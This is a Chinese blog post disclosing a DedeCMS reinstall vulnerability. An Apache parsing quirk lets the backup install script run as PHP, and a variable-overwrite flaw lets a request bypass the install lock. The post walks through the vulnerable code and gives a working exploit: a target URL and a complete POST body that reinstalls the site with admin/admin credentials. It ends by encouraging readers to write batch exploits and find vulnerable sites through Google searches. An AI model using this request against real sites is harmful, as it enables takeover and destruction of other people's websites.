Dedecms通杀重装漏洞 利用apache解析+变量覆盖
作者:honker90 发布:2013-06-06 16:20 分类:
漏洞公布 被撸:4,047次
6条评论
利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:
1 | $verMsg = ' V5.7 GBKSP1' ; |
3 | $dfDbname = 'dedecmsv57gbksp1' ; |
5 | $install_demo_name = 'dedev57demo.txt' ; |
6 | $insLockfile = dirname( __FILE__ ). '/install_lock.txt' ; |
7 | $moduleCacheFile = dirname( __FILE__ ). '/modules.tmp.inc' ; |
9 | define( 'DEDEINC' ,dirname( __FILE__ ). '/../include' ); |
10 | define( 'DEDEDATA' ,dirname( __FILE__ ). '/../data' ); |
11 | define( 'DEDEROOT' ,preg_replace( "#[\\\\\/]install#" , '' , dirname( __FILE__ ))); |
12 | header( "Content-Type: text/html; charset={$s_lang}" ); |
14 | require_once (DEDEROOT. '/install/install.inc.php' ); |
15 | require_once (DEDEINC. '/zip.class.php' ); |
17 | foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
19 | foreach ($ $_request as $_k => $_v ) ${ $_k } = RunMagicQuotes( $_v ); |
22 | require_once (DEDEINC. '/common.func.php' ); |
24 | if ( file_exists ( $insLockfile )) |
26 | exit ( " 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!" ); |
其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件。在下面的
1 | if ( file_exists ( $insLockfile )) |
3 | exit ( " 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!" ); |
这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。
1 | foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
3 | foreach ($ $_request as $_k => $_v ) ${ $_k } = RunMagicQuotes( $_v ); |
这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL
http://www.localhost.com/install/index.php.bak?insLockfile=1&step=4
就OK了
POST数据:
1 | step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms |
其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
重装了。。。。我是良民
批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。
原文:http://www.cnseay.com/2956/